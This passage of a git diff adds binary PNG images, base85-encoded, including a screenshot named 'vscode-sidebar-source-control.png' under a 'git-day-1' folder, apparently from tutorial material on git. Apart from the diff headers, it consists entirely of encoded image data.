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 ECoZcDZvX%Q literal 0 HcmV?d00001 diff --git a/git-day-1/vscode-sidebar-source-control.png b/git-day-1/vscode-sidebar-source-control.png new file mode 100644 index 0000000000000000000000000000000000000000..5f9edc665087c5e9cd75555289b90bcfcb937872 GIT binary patch literal 23429 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 